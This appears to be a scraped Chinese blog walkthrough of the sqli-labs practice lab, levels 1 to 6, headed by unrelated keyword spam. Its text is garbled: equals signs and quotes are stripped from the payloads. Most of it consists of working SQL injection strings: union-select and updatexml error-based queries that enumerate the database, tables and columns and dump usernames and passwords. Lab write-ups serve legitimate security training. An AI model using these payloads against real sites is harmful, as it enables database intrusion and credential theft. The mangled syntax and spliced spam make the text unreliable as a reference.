建设教育网站的目的,深圳福田地址随便来一个,简易购物系统,庭院设计效果图目录 通关前必看
1、判断是否存在sql注入以及是字符型还是数值型#xff1a;
2、各种注入方式以及方法
有回显型#xff1a;
报错注入#xff08;只有ok和no的提示以及报错提示#xff09;#xff1a;
详细思路#xff0c;后面的题都可以这样去思考
关卡实操
less…目录 通关前必看
1、判断是否存在sql注入以及是字符型还是数值型
2、各种注入方式以及方法
有回显型
报错注入只有ok和no的提示以及报错提示
详细思路后面的题都可以这样去思考
关卡实操
less1
less2
less3
less4
less5
less6 通关前必看
在这之前需要掌握数据库的基本操作对数据库有较好的了解博主主页中有
1、判断是否存在sql注入以及是字符型还是数值型
方法输入一个不会报错的值然后在后面加上and 11 /and 12
比如127.0.0.1/sqli-labs-master/Less-1/?id 当我们输入1时不会报错后面加上and 11,结果显示和之前一样可以初步断定存在sql注入了然后改成and 12,如果结果显示还是一样可以断定这是字符型了因为客户端将11和12当作字符处理了如果结果发生了变化则是数值型因为12明显为假。
2、各种注入方式以及方法
有回显型
1‘ order by n 通过改变n的值可以判断出有几处回显1为真执行order语句这里假设判断出来有三处回显。
-1’ union select 1,2,database() 爆出数据库名-1为假执行union语句1和2只起占位作用因为我们判断出来有三处回显所以将没有使用的位置占位12位置还可以写其他语句比如-1‘ union select 1,version(),database(),则会在相应位置返回数据库版本数据库名
-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema数据库名 爆出表名且在一行显示
还可以用-1‘ union select 1,2,table_name from information_schema.tables where table_schema数据库名 limit 0,1 只能显示第一个表通过改变limit 0,1 来获取更多表名
-1‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_name表名 and table_schema数据库名 爆出某张表的字段名
-1 union select 1,2,group_concat(id,username,password) from users --爆出字段对应的数据 报错注入只有ok和no的提示以及报错提示
先用sleep()延迟函数判断类型和闭合方式?id1 and sleep(5)--如果有延迟则说明是数值型如果没有延迟说明是字符型。若是字符型还需要判断闭合方式同样的假设是单引号闭合?id1 and sleep(5)-- 如果有延迟则假设正确……
固定语句?id1 and updatexml(1,concat(0x7e,( ),0x7e),1)--中间的括号里面写需要执行的select语句。 详细思路后面的题都可以这样去思考 1、我们在传参处随便输入个数字比如1发现有回显且没有报错。然后在后面再加上 and 11没有变化再换成and12,如果回显没有变化可以判断这里输入值被当作字符串处理了所以是字符型如果回显发生了变化则是数值型。 2、下一步是判断是单引号闭合还是双引号闭合删去上一步的and语句我们在输入的1后面加上单引号如果报错了说明是单引号闭合 where id ‘ 1’ ‘ ……多出来的单引号会报错如果没有报错说明是双引号闭合输入的单引号被当作参数处理了 where id “ 1’ ” …… 3、判断好闭合后我们在后面加上注释符 # post型传参或者--get型传参将之后的其他判断语句注释掉如果没有报错就可以进行数据库爆破了。 4、如果出错了很可能是原数据库语句中加了括号 where id ‘ 1’ ‘ ……那我们就还需要将前面的括号闭合在输入的引号后面加上右括号直至不报错为止。 关卡实操 less1
输入1有回显加上and 11不报错and12也不报错且回显都一样判断是字符型 输入1’ 报错判断是单引号闭合 在后面加上--因为这里是get型传参所以不用#来注释发现回显正常 开始爆破数据库
?id1 order by 3 --回显正常而id1 order by4 --报错了所以判断出这里有3处回显 爆数据库名 ?id0 union select 1,2,database()--可以看到在第三个回显处显示的是数据库名security : 爆表名?id0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity -- 可以看到有emails,referers,uagents,users四张表 爆字段名以users表为例?id0 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers and table_schemasecurity--可以看到users表有id,username,password三个字段 爆字段数据?id0 union select 1,2,group_concat(id,username,password) from users -- 接下来的关卡我们用类似的方法就不赘述了主要是要判断出是字符型还是数值型是什么闭合有没有括号。 less2
这里and 12 发现回显异常所以判断出是数值型所以就不用加引号来闭合了 后面加上注释--发现回显正常说明没有括号 接下来就是一样的方法来爆破数据库了我们先判断有几处回显order by 3时回显正常order by 4时报错所以有3处回显 爆数据库名?id0 union select 1,2,database()--注意这里由于是数值型所以不加引号 同样的方法爆出其他的数据
表名?id0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity--
字段名:?id0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name 表名--
字段数据:?id0 union select 1,2,group_concat(多个字段逗号分隔开) from 表名-- less3
同样的方法判断出这里是字符型且是单引号闭合但是当我们加上注释--后还是报错了说明这里可能还有括号没有闭合 我们在引号后面加上一个右括号发现回显正常了 之后爆数据库:
?id1) order by 3--判断有三处回显
数据库名?id 0) union select 1,2,database()--
表名?id0的) union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity--
字段名:?id0) union select 1,2,group_concat(column_name) from information_schema.columns where table_name 表名--
字段数据:?id0) union select 1,2,group_concat(多个字段逗号分隔开) from 表名-- less4
同样的方法判断出字符型
当我们加上一个单引号后发现回显正常的说明这里是双引号闭合where id 1 ): 我们改成双引号id1 后发现报错了所以确实是双引号闭合 后面加上注释--发现报错说明有括号没有闭合 我们在双引号后面加上一个右括号发现回显正常了 接下来一样的方法爆数据库
?id1) order by 3--判断有三处回显
数据库名:?id0) union select 1,2,database()--
表名?id0) union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity--
字段名:?id0) union select 1,2,group_concat(column_name) from information_schema.columns where table_name 表名--
字段数据:?id0) union select 1,2,group_concat(多个字段逗号分隔开) from 表名-- less5
这一关我们发现输入正确的值只会返回you are in;输入错误的值就没有回显语法错误就会报错除此之外就没有其它信息了所以就不能用union联合查询了。这里我们用报错注入。
同样的方法判断出这里是字符型单引号闭合。
然后用updatexml()报错函数来爆破数据库
固定语句结构就是这样的?id1 and updatexml(1,concat(0x7e,( ),0x7e),1)--最中间的括号里填查询语句。
爆数据库名?id1 and updatexml(1,concat(0x7e,(database()),0x7e),1)-- 爆表名只需要更改中间括号里面的内同容?id1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemasecurity),0x7e),1)-- 同样的方法爆字段名?id1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name表名),0x7e),1)--
爆字段数据?id1 and updatexml(1,concat(0x7e,(select group_concat(字段) from 表名),0x7e),1)-- less6
同less5要用报错注入
同样的方法判断出这里是字符型双引号闭合。
爆数据库名?id1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)--
爆表名?id1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemasecurity),0x7e),1)--
爆字段名?id1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.colunms where table_name表名),0x7e),1)--
爆字段数据?id1 and updatexml(1,concat(0x7e,(select group_concat(字段) from 表名),0x7e),1)